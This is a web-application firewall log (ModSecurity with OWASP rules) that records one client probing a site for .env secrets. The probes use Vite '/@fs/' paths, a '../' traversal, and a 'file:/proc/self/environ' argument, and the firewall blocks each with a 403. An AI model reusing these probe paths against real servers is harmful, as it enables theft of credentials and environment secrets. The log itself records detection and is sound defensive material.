[Mon Oct 26 08:55:25.679208 2026] [security2:error] [pid 3034806:tid 3034806] [client 34.126.82.152:42298] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at9NvQVECGDHCtvwjbcpqwAAAAI"]
[Mon Oct 26 08:55:25.679384 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9NvdXnMHl9I2qtmKiHIwAAABE"]
[Mon Oct 26 08:55:25.686359 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvZ_dbg3ptBnwDgQ5eQAAAAM"]
[Mon Oct 26 08:55:25.686474 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvZ_dbg3ptBnwDgQ5eQAAAAM"]
[Mon Oct 26 08:55:25.687141 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvZ_dbg3ptBnwDgQ5eQAAAAM"]
[Mon Oct 26 08:55:25.687494 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvZ_dbg3ptBnwDgQ5eQAAAAM"]
[Mon Oct 26 08:55:25.808313 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvdznO4d1yCQgc5RBjwAAABY"]
[Mon Oct 26 08:55:25.808407 2026] [security2:error] [pid 3034820:tid 3034820] [client 34.126.82.152:42400] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvbJXWag7taVYc8zaPgAAAB4"]
[Mon Oct 26 08:55:25.809010 2026] [security2:error] [pid 3034820:tid 3034820] [client 34.126.82.152:42400] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvbJXWag7taVYc8zaPgAAAB4"]
[Mon Oct 26 08:55:25.809011 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvdznO4d1yCQgc5RBjwAAABY"]
[Mon Oct 26 08:55:25.809283 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvdznO4d1yCQgc5RBjwAAABY"]
[Mon Oct 26 08:55:25.809370 2026] [security2:error] [pid 3034820:tid 3034820] [client 34.126.82.152:42400] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvbJXWag7taVYc8zaPgAAAB4"]
[Mon Oct 26 08:55:25.834439 2026] [security2:error] [pid 3034816:tid 3034816] [client 34.126.82.152:42394] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at9NvTlgTJ_wu3sldtk-UAAAABk"]
[Mon Oct 26 08:55:25.835039 2026] [security2:error] [pid 3034816:tid 3034816] [client 34.126.82.152:42394] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at9NvTlgTJ_wu3sldtk-UAAAABk"]
[Mon Oct 26 08:55:25.835406 2026] [security2:error] [pid 3034816:tid 3034816] [client 34.126.82.152:42394] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at9NvTlgTJ_wu3sldtk-UAAAABk"]
[Mon Oct 26 08:55:25.836660 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at9NvXT09R7Np-FQ85dkKQAAAAo"]
[Mon Oct 26 08:55:25.837180 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at9NvXT09R7Np-FQ85dkKQAAAAo"]
[Mon Oct 26 08:55:25.837404 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at9NvXT09R7Np-FQ85dkKQAAAAo"]
[Mon Oct 26 08:55:26.007460 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9Nvp_dbg3ptBnwDgQ5egAAAAM"]
[Mon Oct 26 08:55:26.007952 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9Nvp_dbg3ptBnwDgQ5egAAAAM"]
[Mon Oct 26 08:55:26.008277 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9Nvp_dbg3ptBnwDgQ5egAAAAM"]
[Mon Oct 26 08:55:26.026858 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9NvimtoTVUWKg0WJJgYgAAABI"]
[Mon Oct 26 08:55:26.027239 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9NvimtoTVUWKg0WJJgYgAAABI"]
[Mon Oct 26 08:55:26.027532 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9NvimtoTVUWKg0WJJgYgAAABI"]
[Mon Oct 26 08:55:26.027770 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9Nvl1KkDkSDUaIwfzbZwAAABc"]
[Mon Oct 26 08:55:26.028364 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9Nvl1KkDkSDUaIwfzbZwAAABc"]
[Mon Oct 26 08:55:26.028586 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvntuNRyqJbUWH7JwSAAAAAQ"]
[Mon Oct 26 08:55:26.028719 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9Nvl1KkDkSDUaIwfzbZwAAABc"]
[Mon Oct 26 08:55:26.028927 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvntuNRyqJbUWH7JwSAAAAAQ"]
[Mon Oct 26 08:55:26.029198 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvntuNRyqJbUWH7JwSAAAAAQ"]
[Mon Oct 26 08:55:26.119444 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9NvtznO4d1yCQgc5RBkAAAABY"]
[Mon Oct 26 08:55:26.120052 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9NvtznO4d1yCQgc5RBkAAAABY"]
[Mon Oct 26 08:55:26.120354 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9NvtznO4d1yCQgc5RBkAAAABY"]
[Mon Oct 26 08:55:26.120678 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9NvrTw2sbGJE6AyS4L5AAAAA4"]
[Mon Oct 26 08:55:26.121161 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9NvrTw2sbGJE6AyS4L5AAAAA4"]
[Mon Oct 26 08:55:26.121467 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9NvrTw2sbGJE6AyS4L5AAAAA4"]
[Mon Oct 26 08:55:26.169067 2026] [security2:error] [pid 3034816:tid 3034816] [client 34.126.82.152:42394] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvjlgTJ_wu3sldtk-UQAAABk"]
[Mon Oct 26 08:55:26.169339 2026] [security2:error] [pid 3034816:tid 3034816] [client 34.126.82.152:42394] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvjlgTJ_wu3sldtk-UQAAABk"]
